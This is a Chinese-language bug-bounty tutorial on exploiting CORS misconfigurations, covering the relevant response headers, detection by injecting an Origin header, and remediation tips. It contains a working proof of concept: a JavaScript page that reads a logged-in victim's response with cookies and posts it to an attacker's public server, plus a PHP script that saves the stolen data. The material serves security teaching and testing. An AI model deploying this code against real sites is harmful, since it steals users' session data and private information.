• SRC实战 | CORS跨资源共享漏洞


    CORS跨资源共享

    跨源资源共享 (CORS) 是一种浏览器机制,允许网页使用来自其他页面或域的资产和数据。
    大多数站点需要使用资源和图像来运行它们的脚本。这些嵌入式资产存在安全风险,因为这些资产可能包含病毒或允许服务器访问黑客。

    CORS响应头

    CORS通过在服务器端设置响应头来进行配置。当浏览器发起跨域请求时,服务器可以通过设置特定的CORS响应头来告知浏览器是否允许该请求。常见的CORS响应头包括以下几个:

    Access-Control-Allow-Origin:指定允许访问该资源的源。可以是具体的源或通配符(*),表示允许来自任意源的访问。
    Access-Control-Allow-Methods:指定允许的HTTP方法(如GET、POST、PUT等)。
    Access-Control-Allow-Headers:指定允许的请求头字段。
    Access-Control-Allow-Credentials:指定是否允许发送身份凭证(如cookies、HTTP认证等)。
    Access-Control-Max-Age:指定预检请求(OPTIONS)的有效期,以减少对服务器的频繁请求。

    寻找CORS漏洞

    在数据包请求体中加入一个origin请求头

    origin: http://xxxx.com
    

    观察响应包,发现Origin可控,

    1. Access-Control-Allow-Credentials: true
    2. Access-Control-Allow-origin:http://xxxx.com

    还没有验证referer,就说明可以劫持了。

    实战原理

    如果目标存在CORS跨资源共享漏洞,对方管理员在没有退出自己所管理的网站的情况下,点击恶意攻击者已经构造好的恶意网站,攻击者可以修改Origin字段为任意指定的值,实现绕过浏览器同源策略的限制,基于CORS漏洞发起恶意请求,实现对目标资源的恶意跨域访问,并读取服务器的响应结果,从而造成服务器的信息泄露。

    实战演示

    发现cors

    通过抓包抓到一个可以响应自己sessionid的请求体

    图片


    加入请求体origin:http://xxxx.com
    观察响应体发现存在cors跨资源共享漏洞

    图片

    进行跨资源共享

    1.html
    poc如下:

    <h1>CORS test</h1>
    function loadXMLDoc(){    var xhr1;    var xhr2;
        if(window.XMLHttpRequest)    {        xhr1 = new XMLHttpRequest();        xhr2 = new XMLHttpRequest();    }    else    {        xhr1 = new ActiveXObject("Microsoft.XMLHTTP");        xhr2= new ActiveXObject("Microsoft.XMLHTTP");    }    xhr1.onreadystatechange=function(){        if(xhr1.readyState == 4 &amp;&amp; xhr1.status == 200) //if receive xhr1 response        {            var datas=xhr1.responseText;            xhr2.open("POST","http://要输入自己的炮台文件地址(需要公网ip)","true");            alert('3');            xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded;charset=utf-8");            xhr2.send("T1="+escape(datas));              }    }    xhr1.open("GET","https://要输入的存在cors漏洞的url地址","true") //request user page.    alert(xhr1.responseText);    xhr1.withCredentials = true;        //request with cookie    xhr1.send();}loadXMLDoc();

    save.php
    poc如下:

    $myfile = fopen("1.txt","w+") or die("Unable to open file!");$txt = $_POST['T1'];fwrite($myfile,$txt);fclose($myfile);?>

    在没有退出目标网站的情况下去访问我们已经构造好的恶意网站http://xxxx.com/1.html
    1.html会获取到响应体的内容并且把内容发给save.php,并且创建一个1.txt文件,把信息放到1.txt中

    图片

    图片

    修复建议

    1、正确配置跨域请求
    如果Web资源包含敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源。
    2、只允许信任的网站
    3、避免将null列入白名单
    避免使用标题Access-Control-Allow-Origin: null。

    申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

    所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

    图片

    没看够~?欢迎关注!

    免费领取安全学习资料包!(私聊进群一起学习,共同进步)

    渗透工具

    技术文档、书籍

     

    面试题

    帮助你在面试中脱颖而出

    视频

    基础到进阶

    环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

     

    应急响应笔记

    学习路线

  • 相关阅读:
    cas:155371-19-0/1-乙基-3-甲基咪唑六氟磷酸盐/[C2MIm]PF6/分子量:256.13/离子液体保存温度
    VRTK4⭐二.VRTK4的项目基础配置
    es elasticsearch 九 索引index 定制分词器 type结构后期弃用原因 定制动态映射 动态映射模板 零停机重建索引
    跨站攻击CSRF实验
    【Python】-- Turtle绘图(使用代码画喜欢的图形!)
    30天入门Python(基础篇)——第5天:列表\字典的补充说明&字符串切片\列表切片(保姆级+万字)
    MySQL数据库
    RPC 核心原理理论分析
    Linux操作文档——pt-osc工具
    环形链表 II
  • 原文地址:https://blog.csdn.net/hackzkaq/article/details/134245953